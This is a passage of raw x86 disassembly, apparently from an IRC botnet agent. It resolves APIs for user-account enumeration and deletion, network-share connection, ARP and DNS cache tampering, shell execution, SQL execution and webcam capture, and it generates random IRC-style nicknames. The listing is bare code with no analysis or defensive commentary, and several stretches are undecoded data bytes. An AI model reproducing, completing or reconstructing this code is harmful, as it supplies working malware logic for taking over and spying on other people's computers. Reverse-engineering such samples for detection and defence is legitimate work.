dword_4CB580, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB52C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB51C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB5B4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CB6AC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB664, eax call esi cmp dword_4CB548, ebx mov dword_4CB588, eax jz short loc_40A583 cmp dword_4CB520, ebx jz short loc_40A583 cmp dword_4CB598, ebx jz short loc_40A583 cmp dword_4CB5CC, ebx jz short loc_40A583 cmp dword_4CB6E4, ebx jz short loc_40A583 cmp dword_4CB580, ebx jz short loc_40A583 cmp dword_4CB52C, ebx jz short loc_40A583 cmp dword_4CB51C, ebx jz short loc_40A583 cmp dword_4CB5B4, ebx jz short loc_40A583 cmp dword_4CB6AC, ebx jz short loc_40A583 cmp dword_4CB664, ebx jnz short loc_40A58D jmp short loc_40A583 ; --------------------------------------------------------------------------- loc_40A578: ; CODE XREF: sub_409B13+969j nop call near ptr 2680ABEh mov dword_4CB750, eax loc_40A583: ; CODE XREF: sub_409B13+A11j ; sub_409B13+A19j ... mov dword_4CB74C, 1 loc_40A58D: ; CODE XREF: sub_409B13+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C2 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB570, eax call esi cmp dword_4CB570, ebx mov dword_4CB64C, eax jz short loc_40A5CD cmp eax, ebx jnz short loc_40A5D7 jmp short loc_40A5CD ; --------------------------------------------------------------------------- loc_40A5C2: ; CODE XREF: sub_409B13+A85j nop call near ptr 2680ABEh mov dword_4CB758, eax loc_40A5CD: ; CODE XREF: sub_409B13+AA7j ; sub_409B13+AADj mov dword_4CB754, 1 loc_40A5D7: ; CODE XREF: sub_409B13+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60C push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB6D0, eax call esi cmp dword_4CB6D0, ebx mov dword_4CB6CC, eax jz short loc_40A617 cmp eax, ebx jnz short loc_40A621 jmp short loc_40A617 ; --------------------------------------------------------------------------- loc_40A60C: ; CODE XREF: sub_409B13+ACFj nop call near ptr 2680ABEh mov dword_4CB760, eax loc_40A617: ; CODE XREF: sub_409B13+AF1j ; sub_409B13+AF7j mov dword_4CB75C, 1 loc_40A621: ; CODE XREF: sub_409B13+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A680 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB6FC, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB6F4, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB6BC, eax call esi cmp dword_4CB6FC, ebx mov dword_4CB58C, eax jz short loc_40A68B cmp dword_4CB6F4, ebx jz short loc_40A68B cmp dword_4CB6BC, ebx jz short loc_40A68B cmp eax, ebx jnz short loc_40A695 jmp short loc_40A68B ; --------------------------------------------------------------------------- loc_40A680: ; CODE XREF: sub_409B13+B19j nop call near ptr 2680ABEh mov dword_4CB768, eax loc_40A68B: ; CODE XREF: sub_409B13+B55j ; sub_409B13+B5Dj ... mov dword_4CB764, 1 loc_40A695: ; CODE XREF: sub_409B13+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6CA push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB5C0, eax call esi cmp dword_4CB5C0, ebx mov dword_4CB6C8, eax jz short loc_40A6D5 cmp eax, ebx jnz short loc_40A6DF jmp short loc_40A6D5 ; --------------------------------------------------------------------------- loc_40A6CA: ; CODE XREF: sub_409B13+B8Dj nop call near ptr 2680ABEh mov dword_4CB770, eax loc_40A6D5: ; CODE XREF: sub_409B13+BAFj ; sub_409B13+BB5j mov dword_4CB76C, 1 loc_40A6DF: ; CODE XREF: sub_409B13+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A768 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CB690, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB6DC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB618, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB5D0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB670, eax call esi cmp dword_4CB690, ebx mov dword_4CB5E0, eax jz short loc_40A773 cmp dword_4CB6DC, ebx jz short loc_40A773 cmp dword_4CB618, ebx jz short loc_40A773 cmp dword_4CB5D0, ebx jz short loc_40A773 cmp dword_4CB670, ebx jz short loc_40A773 cmp eax, ebx jnz short loc_40A77D jmp short loc_40A773 ; --------------------------------------------------------------------------- loc_40A768: ; CODE XREF: sub_409B13+BD7j nop call near ptr 2680ABEh mov dword_4CB778, eax loc_40A773: ; CODE XREF: sub_409B13+C2Dj ; sub_409B13+C35j ... mov dword_4CB774, 1 loc_40A77D: ; CODE XREF: sub_409B13+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B2 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB5A4, eax call esi cmp dword_4CB5A4, ebx mov dword_4CB684, eax jz short loc_40A7BD cmp eax, ebx jnz short loc_40A7C7 jmp short loc_40A7BD ; --------------------------------------------------------------------------- loc_40A7B2: ; CODE XREF: sub_409B13+C75j nop call near ptr 2680ABEh mov dword_4CB780, eax loc_40A7BD: ; CODE XREF: sub_409B13+C97j ; sub_409B13+C9Dj mov dword_4CB77C, 1 loc_40A7C7: ; CODE XREF: sub_409B13+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CF proc near ; CODE XREF: sub_401ACD+2537p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB714, esi push edi mov edi, [ebp+arg_8] jz short loc_40A817 push dword_4CB718 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A817: ; CODE XREF: sub_40A7CF+1Aj cmp dword_4CB71C, esi jz short loc_40A84B push dword_4CB720 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A84B: ; CODE XREF: sub_40A7CF+4Ej cmp dword_4CB724, esi jz short loc_40A87F push dword_4CB728 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A87F: ; CODE XREF: sub_40A7CF+82j cmp dword_4CB72C, esi jz short loc_40A8B3 push dword_4CB730 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A8B3: ; CODE XREF: sub_40A7CF+B6j cmp dword_4CB734, esi jz short loc_40A8E7 push dword_4CB738 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A8E7: ; CODE XREF: sub_40A7CF+EAj cmp dword_4CB73C, esi jz short loc_40A91B push dword_4CB740 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A91B: ; CODE XREF: sub_40A7CF+11Ej cmp dword_4CB744, esi jz short loc_40A94F push dword_4CB748 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A94F: ; CODE XREF: sub_40A7CF+152j cmp dword_4CB74C, esi jz short loc_40A983 push dword_4CB750 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A983: ; CODE XREF: sub_40A7CF+186j cmp dword_4CB754, esi jz short loc_40A9B7 push dword_4CB758 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A9B7: ; CODE XREF: sub_40A7CF+1BAj cmp dword_4CB75C, esi jz short loc_40A9EB push dword_4CB760 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A9EB: ; CODE XREF: sub_40A7CF+1EEj cmp dword_4CB764, esi jz short loc_40AA1F push dword_4CB768 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40AA1F: ; CODE XREF: sub_40A7CF+222j cmp dword_4CB76C, esi jz short loc_40AA53 push dword_4CB770 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40AA53: ; CODE XREF: sub_40A7CF+256j cmp dword_4CB774, esi jz short loc_40AA87 push dword_4CB778 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40AA87: ; CODE XREF: sub_40A7CF+28Aj cmp dword_4CB77C, esi jz short loc_40AABB push dword_4CB780 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40AABB: ; CODE XREF: sub_40A7CF+2BEj lea eax, [ebp+var_200] push offset unk_42DA28 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE8 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 14h loc_40AAE8: ; CODE XREF: sub_40A7CF+302j lea eax, [ebp+var_200] push eax call sub_4151AD pop ecx pop edi pop esi pop ebx leave retn sub_40A7CF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C96p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB694 cmp eax, 0FFFFFFFFh jnz short locret_40AB22 push [esp+arg_0] call dword_4CB6D8 test eax, eax jnz short loc_40AB1B or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1B: ; CODE XREF: sub_40AAFA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB22: ; CODE XREF: sub_40AAFA+Dj retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= sub_40AB23 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB570 xor eax, eax test ecx, ecx jz short locret_40AB31 call ecx locret_40AB31: ; CODE XREF: sub_40AB23+Aj retn sub_40AB23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB32 proc near ; CODE XREF: sub_401ACD:loc_403F5Ep var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CB6D0 mov ecx, eax sub ecx, edi jz loc_40ABF8 sub ecx, 32h jz loc_40ABF1 sub ecx, 48h jz short loc_40AB92 sub ecx, 6Eh jz short loc_40AB8B loc_40AB74: ; CODE XREF: sub_40AB32+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DC3C push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD2 ; --------------------------------------------------------------------------- loc_40AB8B: ; CODE XREF: sub_40AB32+40j push offset unk_42DC18 jmp short loc_40ABC4 ; --------------------------------------------------------------------------- loc_40AB92: ; CODE XREF: sub_40AB32+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBF lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CB6D0 cmp eax, edi jz short loc_40ABF8 jmp short loc_40AB74 ; --------------------------------------------------------------------------- loc_40ABBF: ; CODE XREF: sub_40AB32+79j push offset unk_42DBE8 loc_40ABC4: ; CODE XREF: sub_40AB32+5Ej ; sub_40AB32+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD2: ; CODE XREF: sub_40AB32+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AD pop ecx loc_40ABE2: ; CODE XREF: sub_40AB32+C8j ; sub_40AB32+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF1: ; CODE XREF: sub_40AB32+32j push offset unk_42DBB8 jmp short loc_40ABC4 ; --------------------------------------------------------------------------- loc_40ABF8: ; CODE XREF: sub_40AB32+29j ; sub_40AB32+89j cmp [esi], edi jbe short loc_40ABE2 lea ebx, [esi+4] loc_40ABFF: ; CODE XREF: sub_40AB32+DAj push ebx call dword_4CB6CC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFF jmp short loc_40ABE2 sub_40AB32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC10 proc near ; CODE XREF: sub_401ACD+2248p ; sub_401ACD+2399p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB5F8 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB784 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC10 endp ; =============== S U B R O U T I N E ======================================= sub_40AC69 proc near ; CODE XREF: sub_412B09+24Cp ; sub_412B09+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC92 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC85: ; CODE XREF: sub_40AC69+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC85 pop edi jmp short loc_40AC96 ; --------------------------------------------------------------------------- loc_40AC92: ; CODE XREF: sub_40AC69+Aj mov edx, [esp+4+arg_0] loc_40AC96: ; CODE XREF: sub_40AC69+27j test esi, esi pop esi jz short loc_40ACA0 movzx ecx, byte ptr [edx] add eax, ecx loc_40ACA0: ; CODE XREF: sub_40AC69+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC69 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB6 proc near ; CODE XREF: sub_40B08E+49p ; DATA XREF: ___:off_42DC88o arg_0 = dword ptr 4 push esi push edi nop call near ptr 2690AA5h push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42DCF0[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1E loc_40ACF8: ; CODE XREF: sub_40ACB6+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB60 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF8 loc_40AD1E: ; CODE XREF: sub_40ACB6+40j mov eax, edi pop edi pop esi retn sub_40ACB6 endp ; --------------------------------------------------------------------------- db 56h dd 7AE89057h, 5002285Dh, 10BA7E8h, 247C8B00h, 2404C710h dd 42913Ch, 42D01468h, 571C6A00h, 10C37E8h, 83F63300h dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah dd 685752F9h, 42BB60h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh dd 0DA7C0042h, 5E5FC78Bh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40AD81 proc near ; CODE XREF: sub_401ACD+69CDp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 2690AA5h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC4 loc_40ADAE: ; CODE XREF: sub_40AD81+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAE loc_40ADC4: ; CODE XREF: sub_40AD81+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD81 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 2690AA5h push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431948 push eax push esi nop call near ptr 26C0000h movsx eax, byte_431948 push 41h pop ecx push 1 pop edx loc_40AE0A: ; CODE XREF: ___:0040AE15j cmp eax, ecx jnz short loc_40AE11 mov [ebp-4], edx loc_40AE11: ; CODE XREF: ___:0040AE0Cj inc ecx cmp ecx, 5Bh jl short loc_40AE0A push 61h pop ecx loc_40AE1A: ; CODE XREF: ___:0040AE25j cmp eax, ecx jnz short loc_40AE21 mov [ebp-4], edx loc_40AE21: ; CODE XREF: ___:0040AE1Cj inc ecx cmp ecx, 7Bh jl short loc_40AE1A mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE66 loc_40AE40: ; CODE XREF: ___:0040AE64j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB60 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE40 loc_40AE66: ; CODE XREF: ___:0040AE3Ej mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 2690AA5h nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26D0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43194C push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDB loc_40AEB5: ; CODE XREF: ___:0040AED9j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB60 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB5 loc_40AEDB: ; CODE XREF: ___:0040AEB3j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D808 mov dword ptr [ebp-94h], 94h nop call near ptr 26D066Bh call near ptr 2690AA5h nop push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF65 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF45 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF35 mov esi, offset dword_431974 loc_40AF35: ; CODE XREF: ___:0040AF2Ej cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA1 mov esi, offset dword_431970 jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF45: ; CODE XREF: ___:0040AF25j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF55 mov esi, offset dword_43196C jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF55: ; CODE XREF: ___:0040AF4Cj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9C mov esi, offset dword_431968 jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF65: ; CODE XREF: ___:0040AF1Cj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9C cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7E mov esi, offset dword_431964 jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF7E: ; CODE XREF: ___:0040AF75j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8E mov esi, offset dword_431960 jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF8E: ; CODE XREF: ___:0040AF85j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43195C jz short loc_40AFA1 loc_40AF9C: ; CODE XREF: ___:0040AF5Cj ; ___:0040AF6Cj mov esi, offset dword_431958 loc_40AFA1: ; CODE XREF: ___:0040AF3Cj ; ___:0040AF43j ... mov edi, [ebp+8] push esi push offset dword_431950 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE5 loc_40AFBF: ; CODE XREF: ___:0040AFE3j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB60 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBF loc_40AFE5: ; CODE XREF: ___:0040AFBDj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEB proc near ; CODE XREF: sub_40B08E+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 2690AA5h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B03A call dword_4CB660 test eax, eax mov eax, offset dword_431980 jnz short loc_40B023 mov eax, offset dword_43D808 loc_40B023: ; CODE XREF: sub_40AFEB+31j push eax push esi push offset dword_431978 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B05A ; --------------------------------------------------------------------------- loc_40B03A: ; CODE XREF: sub_40AFEB+22j call dword_4CB660 test eax, eax mov eax, offset dword_431980 jnz short loc_40B04E mov eax, offset dword_43D808 loc_40B04E: ; CODE XREF: sub_40AFEB+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B05A: ; CODE XREF: sub_40AFEB+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B089 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B089: ; CODE XREF: sub_40AFEB+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08E proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42DC84 loc_40B09A: ; CODE XREF: sub_40B08E+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B5 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BF ; --------------------------------------------------------------------------- loc_40B0B5: ; CODE XREF: sub_40B08E+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BF: ; CODE XREF: sub_40B08E+25j test eax, eax jnz short loc_40B0D1 add esi, 14h inc edi cmp esi, offset off_42DCFC jb short loc_40B09A jmp short loc_40B0DF ; --------------------------------------------------------------------------- loc_40B0D1: ; CODE XREF: sub_40B08E+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42DC88[eax*4] pop ecx loc_40B0DF: ; CODE XREF: sub_40B08E+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F2 push [ebp+arg_0] call sub_40AFEB pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F2: ; CODE XREF: sub_40B08E+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08E endp ; =============== S U B R O U T I N E ======================================= sub_40B0F7 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E390 loc_40B0FF: ; CODE XREF: sub_40B0F7+18j cmp byte ptr [eax], 0 jz short loc_40B113 add eax, 234h inc edi cmp eax, offset dword_4CB390 jl short loc_40B0FF jmp short loc_40B15E ; --------------------------------------------------------------------------- loc_40B113: ; CODE XREF: sub_40B0F7+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E390[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E590[esi], eax and dword_43E594[esi], 0 mov eax, [esp+8+arg_8] and dword_43E598[esi], 0 mov dword_43E59C[esi], eax and byte_43E5A8[esi], 0 pop esi loc_40B15E: ; CODE XREF: sub_40B0F7+1Aj mov eax, edi pop edi retn sub_40B0F7 endp ; --------------------------------------------------------------------------- word_40B162 dw 8B55h ; DATA XREF: sub_401ACD+298Ao dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h dd 6CE8EC75h, 83000002h, 6A14C4h, 2D4E4FE8h, 5E5F9002h dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h dd 0FE00858Dh, 8868FFFFh, 500042C8h, 10681E8h, 8D016A00h dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_40B232 proc near ; CODE XREF: sub_401ACD+7BA5p ; sub_40B2C0+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2BA cmp esi, 400h jge short loc_40B2BA imul esi, 234h push edi push ebx push dword_43E5A4[esi] lea edi, dword_43E5A4[esi] nop call near ptr 2690B5Dh cmp [edi], ebx jz short loc_40B26A push 1 pop ebp loc_40B26A: ; CODE XREF: sub_40B232+33j mov [edi], ebx lea edi, dword_43E598[esi] mov dword_43E590[esi], ebx mov dword_43E594[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28B push eax call sub_4199CA pop ecx loc_40B28B: ; CODE XREF: sub_40B232+50j mov [edi], ebx lea edi, 